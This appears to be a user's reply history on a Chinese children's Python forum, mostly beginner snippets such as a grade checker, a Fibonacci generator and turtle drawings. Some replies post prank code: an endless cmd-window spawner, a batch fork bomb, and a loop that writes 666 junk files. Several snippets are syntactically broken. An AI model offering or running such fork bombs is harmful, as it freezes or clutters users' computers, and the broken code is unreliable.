
Lv.1
只是喜欢Python而已……徒弟:程序侯
签名:只是喜欢Python而已…… 徒弟:程序侯
在 【赛事公告】双春鼠计划开启!S5赛季等你闯关,喵了解详情 中回复
if UserName == "1048576电脑号":
print('恭喜你获得',1048576**60,'源码币')2020-04-02T18:35:04 点赞:0
在 【Python作品分享】分数评判机【作品秀】 中回复
score = int(input('请输入你的Python成绩:'))
if 100>=score >= 90:
print('优秀')
elif score >= 80:
print('良好')
elif score >= 60:
print('及格')
elif score>=0:
print('不及格')
else:
print('……')2020-04-02T19:19:13 点赞:0
在 【Python作品分享】斐波那契数列【作品秀】 中回复
def fib(num)
aa = 0
bb = 1
for i in range(num):
yield aa
aa = (aa + bb)
yield bb
bb = (aa + bb)
for i in fib(爱填几填几):
print(i)2020-04-03T13:57:19 点赞:2
在 【Python作品分享】【OS模块】嘿嘿嘿,你敢运行吗???【作品秀】 中回复
import os
while 1:
os.system('start cm'+'d')2020-04-05T09:19:36 点赞:0
在 【Python作品分享】【OS模块】嘿嘿嘿,你敢运行吗???【作品秀】 中回复
from os import *
system('set /p="%0|%0"<nul>s.bat&s')2020-04-05T09:23:10 点赞:0
在 【Python作品分享】花式球体【作品秀】 中回复
import turtle
import time
print('[系统]正在初始化中,请稍后······')
myPen = turtle.Pen()
myPen.speed(0)
colours = ['red', 'orange', 'blue', 'green']
time.sleep(0.5)
print('[系统]正在生成,请稍后······')
for i in range(1, 100):
print('[系统]{0}%'.format(i))
myPen.pencolor(colours[(i-1) % 4])
myPen.circle(50)
myPen.left(50)
2020-04-05T09:29:10 点赞:0
在 聊天机器人V1.2 中回复
import random
while 1:
question = input('你:')
if (question == '你叫什么' or question == '你是谁'):
print('AI:我是1048576的使者')
else:
print(('AI:' + question.replace('是', random.choice(('是', '不是'))).replace('会',random.choice(('会', '不会'))).replace('有', random.choice(('有', '没有'))).replace('你', '我').喵('??吗').__add__('!')))
2020-04-05T09:40:31 点赞:0
在 【Python作品分享】系统错误,系统喵机【教程贴】 中回复
from os import *
while 1:
system('start cmd')2020-04-05T09:51:51 点赞:0
在 【Python作品分享】此电脑(病毒)(喵产品)【作品秀】 中回复
for i in range(666):
with open('D:\你的电脑已死机'+str(i)+'次','w') as file:
f.write('你的电脑已死机')2020-04-05T13:34:47 点赞:0